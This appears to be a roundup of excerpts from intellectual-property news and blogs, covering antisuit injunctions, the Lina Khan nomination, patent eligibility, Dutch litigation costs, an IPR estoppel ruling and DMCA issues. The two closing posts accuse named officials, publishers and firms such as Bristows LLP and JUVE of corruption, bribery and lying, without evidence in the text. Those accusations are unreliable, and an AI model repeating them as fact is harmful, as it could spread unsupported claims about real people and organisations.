The counterintuitive bottom line is that a jurisdiction that can’t grant antisuit injunctions nevertheless issues A2SIs and, by now, A4SIs.
[...]
With its InterDigital v. Xiaomi A4SI framework, building on the Nokia v. Continental doctrine (zero deference to foreign court proceedings), the Munich court is going to become even more popular among SEP holders. I’ve asked the court’s press office whether they have other antisuit cases pending, which would validate this assumption of a further increase in popularity of this venue.
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“She is a thought leader and the embodiment of the modern antitrust movement. Big move.”
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For many years, Senators Ted Cruz (R-Tex.) and Mike Lee (R-Utah) were my favorite United States Senators. Maybe one or two of them will be again, after a while, but recently I’ve been very disappointed in them (particularly, those pictures of Senator Lee hugging people at Justice Barrett’s Rose Garden presentation, and obviously Senator Cruz’s Cancún trip; his 1/6 speech is reasonably debatable but I don’t think he can be blamed for the Capitol riots in any way).
Late on Tuesday, Senator Lee issued a statement according to which presumptive FTC nominee Lina Khan, “being less than four years out of law school, [...] lacks the experience necessary for such an important role as FTC Commissioner.”
No one in the United States Senate is less credible when raising such concern over a lack of experience. He was interviewed by then-President Trump for a potential Supreme Court nomination and known to be interested in a job on the highest court in the land with zero judicial experience. I nevertheless wrote in 2018 that the tech industry should lobby Trump to nominate Sen. Lee because of his positions on standard-essential patents. So I’m not being inconsistent. But he shouldn’t apply such obvious dual standards. According to Politico, he would “of course” have been interested in becoming an Associated Justice of the United States, and he was still on the list in September.
Sen. Cruz called Sen. Lee the best candidate. I hope Sen. Cruz disagrees with his friend from Utah on this nomination.
A SCOTUS decision is not appealable anymore. By contrast, if the FTC has a unilateral-conduct issue with a company, it can’t even issue an appealable decision (unlike the European Commission’s DG COMP), but has to sue, and then there’s room for appeals.
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Patents
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Last week, Senator Tillis’ latest literary foray took the form of a letter to the Hon. Drew Hirschfeld, current Commissioner of Patents and Acting Director of the U.S. Patent and Trademark Office. In it, the Senator asks the USPTO to “publish a request for information on the current state of patent eligibility jurisprudence in the United States, evaluate the responses, and provide us with a detailed summary of your finding, particularly with regard to “how the current jurisprudence has adversely impacted investment and innovation in critical technologies like quantum computing, artificial intelligence, precision medicine, diagnostic methods, and pharmaceutical treatments.” The letter illustrates and justifies the request by reciting the “lack of consistency and clarity in our nation’s patent eligibility laws.” These circumstances have “had a dramatic negative impact on investment, research, and innovation,” not only discouraged investment in critical emerging technologies, but also led the courts to foreclose protection entirely for certain important inventions in the diagnostics, biopharmaceutical, and life sciences industries.” Of course, the letter references the struggle to “contain and treat the worst global pandemic in more than one hundred years” and professes astonishment that current jurisprudence “makes it virtually impossible to obtain many patents in the diagnostic methods and precision medicine sectors.” The letter asks for the report to be delivered to Congress no later than March 2022.
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The company said it will notify the market as and when it receives any official communication about the status of Zulu’s EPO application.
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In an increasingly competitive global marketplace, innovative businesses must ensure the commercial value of their inventions is protected before seeking funding.
Intellectual property (IP) rights can play an important role in securing the confidence of funders. Patent protection, for example, provides an assurance of monopoly rights for the innovation, confirming its commercial potential. It is important to seek patent protection in the right way and at the right time, however, and pitfalls must be avoided.
A patent will only be granted by the UK Intellectual Patent Office (UKIPO) or European Patent Office (EPO) for an idea that is new. This means patent applications must be filed before the idea is disclosed outside the company. This can present a challenge for start-ups, due to the need to disclose a certain amount of information about the company and its commercial plans to potential investors and potential clients.
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What is it with the Dutch and money? How much truth is there in the cliché that the Dutch are cheap? Do we really get back to business after a romantic diner and split the bill to the cent? Where does this ‘going Dutch’ come from? That term, according to the Oxford English Dictionary, connects to phrases which have “an opprobrious or derisive application, largely due to the rivalry and enmity between the English and Dutch in the 17th century”. That is, the century of the Anglo-Dutch wars, the Raid on the Midway, and several less successful interactions with our past favorite frenemies. Some under the bravery-inducing effect of jenever (the origin of gin), also known as ‘Dutch courage’.
Romantic diners aside, ‘going Dutch’ is not the norm when it comes to cost reimbursement in Dutch patent litigation (and to be clear: the courage of Dutch patent litigators is not due to drinking ‘jenever’ before a trial). In patent cases the winner pays nothing, but takes it all (at least, if (a threat of) enforcement is at issue; not in a ‘pure’ nullity actions, cf. the EU Court of Justice’s Bericap/Plastinova judgment). The losing party has to pay the legal costs of the winning party. No splitting bills. There may be some haggling about the amount of the winner’s bill (we’re still Dutch), and the court may lower the bill somewhat in view of reasonableness and fairness (not just because we’re Dutch, but because of Art. 14 of the EU Enforcement Directive). But…no Dutch treat in patent litigation.
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These caps have been announced some months ago already (September 2020). Why then start about who has to pay the bill now? Because the cap only applies to cases for which a judgment has been set on or after 1 September 2020. Therefore, with some delay, we may expect the ‘new’ costs orders to make it into the courts’ judgments the coming months (and years). At the moment, while a first capped order was granted (reducing 175K to 75K, the case being considered ‘normal’; decision here in Dutch), ‘old’ cost orders are still granted. For example, two recent decisions – set for judgment before 1 September – contain costs orders exceeding 1 million euros (decisions here and here, in Dutch).
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“In the battle against Covid-19, we must always remember that Covid anywhere is Covid everywhere. We can’t end the pandemic or rebuild the economy without a vaccine that is free, fair, and available to all.”
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Software Patents
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The PTAB sided with Facebook in this inter partes review proceeding. Finding most of the claims in Uniloc’s US8995433 unpatentably obvious.
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Estoppel: Under Section 315(e)(1), a petitioner “may not request or maintain” an inter partes review proceeding as to any ground that petitioner “raised or reasonably could have raised” in a prior IPR that resulted in a final written decision as to the same patent claim. Basically, this provision is designed to prohibit a patent-challenger from making multiple successive attempts to challenge a patent in an IPR.
The procedure of this case is a bit confusing. BASICALLY, Apple filed for IPR that was subsequently joined by FB; FB filed its own IPR that was subsequently joined by LG. The Apple case concluded first (with a Final Written Decision siding with Uniloc). The question then is the extent that FB and LG are estopped maintaining the FB IPR.
After deciding the Apple IPR, the PTAB gave effect to § 315(e)(1) estoppel — holding that FB could no longer pursue its own IPR challenges as to claims challenged in the Apple IPR. Although FB was knocked-out as a party as to most claims (all but Claim 7), the PTAB continued the FB IPR with LG as the remaining party. On appeal, Uniloc argued that LG should not have been permitted to continue the case because of the way it joined-cause with FB in the joinder motion. The appellate panel rejected that argument and affirmed LG was not a RPI to FB’s IPR petition or privy of Facebook. “[J]ust because LG expressed an interest in challenging the ’433 patent’s patentability, through its filing of its own IPR petition and joinder motion, does not by itself make LG an RPI to Facebook’s IPR.” The court also affirmed that 315(e)(1) estoppel only applied to claims challenged in the Apple IPR — thus FB was not estopped from maintaining a challenge to claim 7. “Section 315 explicitly limits the estoppel to the claims previously challenged.”
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Case G1/19, before the Enlarged Board of Appeal, attracted a flurry of interest from patent owners and industry associations
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Trademarks
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The COVID-19 pandemic has changed and continues to change how life works for many of us in a variety of ways. We’re learning just how underserved America is by our monopolistic broadband providers, for instance. Esports has come into fashion in ways never seen before as well. Work from home has become more normalized and school from home is the bane of parents everywhere, even when it’s the best option available.
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Using exclusively sourced data, Managing IP analyses trademark litigation filings in five major European countries and looks at some of the reasons behind the numbers
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Sources suggested that national and EU court decisions might have influenced litigation strategies, as have general perceptions of some countries’ judicial systems.
We chose not to analyse case filings from 2020 (which are not available in full) because we believed they were likely to muddy the waters. Although many courts handled virtual litigation last year (and still are), there was significant disruption to court cases – and to enforcement too. We will report on the data when it becomes available.
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Copyrights
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Techdirt readers are by now all too familiar with how broken the DMCA takedown system is. But a recent post on TorrentFreak introduces us to some interesting new examples. It concerns the software review site ThinkMobiles. Apparently, it’s a company registered in the Ukraine, and many of its authors seem to come from the region — and nothing wrong with that. As TorrentFreak notes, ThinkMobiles is very protective of its articles. The Lumen database, which collects and analyzes requests to remove material from the Web, has 376 results for the company, representing many hundreds of potential takedowns. But TorrentFreak spotted that some of the most recent ones are particularly unusual:
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Ultimately, all these encounters have been about accommodation. As embodied in AI, however, accommodation is increasingly sharing the stage with a brooding sense of threat: will AI, and the algorithms that form it, ultimately replace the human being as the agent of creation and invention.
Against this background, it is worth recalling how two approaches from over a century ago, one looking backward (the “Arts and Crafts Movement”), and the other embracing tomorrow (“the Futurist’s Manifesto”), sought to address the problem in the context of their time, responding to what the English author, Thomas Hardy, called the “ache of modernism”.
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At Creative Commons, we believe that copyright policy should encourage creativity, not hamper it. In a balanced copyright system, the rights and interests granted to both creators and the general public are necessary to stimulate vibrant creativity and foster the sharing of knowledge. We’ve previously made it clear that excessive copyright terms inhibit our ability to build upon and rework creative content. A 20-year extension effectively keeps creative works out of the public domain for two extra decades. This is an incredible loss given the role of the public domain as the trove of materials on which contemporary creativity depends.
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Late last year, Senator Thom Tillis released a discussion draft of the “Digital Copyright Act of 2021,” which aims to replace the current DMCA legislation. However, this proposal is not welcomed by everyone. The Re:Create Coalition warns that it completely destroys the framework that made it possible for online creativity to thrive.
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Last summer, Grammy award-winning musician Maria Schneider and a shadowy company known as Pirate Monitor filed a class action lawsuit against YouTube, alleging massive copyright infringement and a failure to terminate repeat infringers. After a series of bizarre twists and turns, Pirate Monitor has dismissed its complaint, leaving Maria Schneider to face YouTube alone.
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Posted in Deception, Europe, Patents at 10:45 am by Dr. Roy Schestowitz
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Summary: The truly awful state of media that covers EPO and UPC affairs isn’t too shocking; people need only examine their funding sources
THE EDGE of a cliff is a neat metaphor; it helps explain what has long happened to the reputation of the EPO after a decade of corruption (thanks, Benoît Battistelli and António Campinos). The Office is unable (maybe also unwilling) to recruit, patent quality has collapsed (almost each week we read about European Patents being invalidated or revoked in European courts), and all the crooks have left right now is deception, deception, deception, and… more deception. They even bribe academia and media for this deception. Follow the money, trace the strings…
“Don’t visit those site for facts but for pure fiction. Pure fantasy. Lies and distortions, motivated by money.”Our next post will deal with the latest deception, but the video above speaks of the laughing stocks IAM, Managing IP (MIP), WIPR and IP (AstraZeneca) Kat have become. Juve too has joined that club, as it pretty much defected in the sense that instead of exposing EPO abuses and it’s nowadays just reprinting insulting (revisionism) lies from corrupt EPO management and Team UPC. As hard as it is to grasp, Juve (or JUVE Patent) 5 years ago was a profoundly different publisher. It did actual journalism; now it’s just spam and marketing, sometimes with some substance to spice things up. They might mention actual EPO staff a few times a year. Most of the time they’re advertising law firms.
This latest puff piece is quite the hallmark or symptom of what happened to JUVE. It’s going even further than EPO management when it comes to reputation laundering. It’s no longer astounding given the track record of JUVE, as observed in recent years (gutter level one year ago). “The EQE is a pre-requisite exam for almost anyone wishing to be admitted as a qualified European patent attorney, and to represent clients before the EPO,” says the article, without mentioning the e-EQE glitches or the EQE corruption.
The video above actually starts by discussing Bristows LLP, which JUVE is advertising for. The UPC complaints are not a priority at all (they will probably be dealt with years from now) and the few people (or person) still willing to talk about it — even for the first time in months — wants us to think UPC is anything but dead.
The reputation of Bristows LLP is already dead; key people leave the firm and/or retire. Bristows LLP lies to the public, lies to politicians, and shamelessly works for patent trolls (i.e. Bristows LLP attacks Europe itself). To see that some media is still giving Bristows LLP a platform says so much about the media, including JUVE. Don’t visit those site for facts but for pure fiction. Pure fantasy. Lies and distortions, motivated by money. █
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Posted in Deception, Europe, Free/Libre Software, GNU/Linux, IBM, Patents, Red Hat at 9:53 am by Dr. Roy Schestowitz
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Summary: First they came for our founders and leaders; then they came for non-corporate developers; who will be left to speak for the Free/libre software community?
THEY ATTACK our leaders (the gloves have come off; hi, IBM). So say various influential podcasts. It’s pretty darn obvious. So why won’t they also attack our developers? “Who’s next?”
Last week we pointed out that they even try to cancel news sites (independent for the most part) like Phoronix by false accusations or guilt by association, a patently false association. Check present and past employers of the trolls. The people who are doing this aren’t community members but corporate shills disguised as “manners”. People from companies like Google and Red Hat…
“GNU/Linux won’t be a platform of software freedom until/unless we can still do something to tackle key issues.”Speaking of which, Red Hat was racking up lots of software patents while IBM aggressively lobbied for software patents, even European software patents (which the EPO isn’t allowed to grant). European developers are under attack right about now. Silently. These software patents besiege constributors to GNU/Linux — people don’t work for some giant corporation like IBM. People who barely enjoy a salary…
In this series, whose length is unknown at this point (it will certainly be rather long), we are going to explore and analyse a story we’ve sat on for quite some time in order to better protect sources and hamper patent trolls.
We have one request to make upfront; if you are reading this and you too have been subjected to similar trolling/shake-down, please contact us discreetly (E-mail can be done securely/confidentially). We won’t spill the beans without prior approval from sources. Our sole goal is to safely illuminate/elucidate what’s going on and explain the situation GNU/Linux is in amid corporate takeover from all angles. GNU/Linux won’t be a platform of software freedom until/unless we can still do something to tackle key issues.
Part II, which will be less vague albeit still introductory, should be published soon. We’ve sought clearances. █
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